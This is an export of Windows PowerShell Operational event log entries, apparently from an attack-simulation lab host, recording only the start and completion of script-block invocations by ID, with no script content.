SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050605
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050603
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050602
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050585
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050579
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
